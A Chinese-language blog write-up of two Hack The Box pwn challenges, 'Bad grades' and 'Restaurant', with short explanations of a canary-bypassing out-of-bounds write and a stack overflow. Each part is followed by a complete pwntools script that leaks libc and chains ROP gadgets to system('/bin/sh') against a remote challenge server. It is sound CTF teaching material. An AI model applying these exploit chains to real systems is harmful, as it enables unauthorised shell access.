HTB pwn Bad grades&Restaurant

Bad grades

没有开启ASLR
在这里插入图片描述
在功能2存在越界写,虽然有canary但是可以通过输入’-'绕过。
输入数据可以利用python的struct解包成双精度浮点数,做了这些就是常规的ROP环节了。

exp

from pwn import *
def gd():
 gdb.attach(p)
 pause()
def htd(hex_value):
    binary = hex_value.to_bytes(8, 'big')
    double_value = struct.unpack('!d', binary)[0]
    return double_value 
#p = process("./bad_grades")
p = remote('83.136.251.235',31126)
elf = ELF("./bad_grades")
libc = ELF("./libc.so.6")
pop_rdi = 0x0000000000401263
pop_rsi = 0x0000000000401261
vuln_func = 0x400FD5
ret_addr = 0x0000000000400666
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b': ')
p.sendline(str(39).encode())
for i in range(35):
 p.sendline(b'-')
p.sendline(str(htd(pop_rdi)).encode()) 
p.sendline(str(htd(elf.got['exit'])).encode()) 
p.sendline(str(htd(elf.plt['puts'])).encode()) 
p.sendline(str(htd(vuln_func)).encode()) 
p.recvuntil(b'Your new average is: ')
p.recvline()
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym['exit']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
p.recvuntil(b': ')
p.sendline(str(39).encode())
for i in range(35):
 p.sendline(b'-')
p.sendline(str(htd(pop_rdi)).encode()) 
p.sendline(str(htd(sh_addr)).encode()) 
p.sendline(str(htd(ret_addr)).encode()) 
p.sendline(str(htd(sys_addr)).encode()) 
#gd()
p.interactive() 

成功拿到shell提交flag
在这里插入图片描述

Restaurant

没有开启ASLR
在这里插入图片描述
在fill功能下存在栈溢出和上一题同理直接打ROP就行。

exp

from pwn import *
def gd():
 gdb.attach(p)
 pause()
#p = process("./restaurant")
p = remote('94.237.56.188',33958)
elf = ELF("./restaurant")
libc = ELF("./libc.so.6")
ret_addr = 0x000000000040063e
pop_rdi = 0x00000000004010a3
vuln_func = 0x000000000400E4A
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
#gd()
p.sendline(b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['exit']) + p64(elf.plt['puts']) + p64(vuln_func))
p.recvuntil(b'a' * 0x28) 
p.recv(3)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym['exit']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
print(hex(libc_base))
p.recvuntil(b'> ')
p.sendline(b'a' * 0x28 + p64(pop_rdi) + p64(sh_addr) + p64(ret_addr) + p64(sys_addr))
p.interactive() 

成功拿到shell提交flag
在这里插入图片描述

  • 11
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值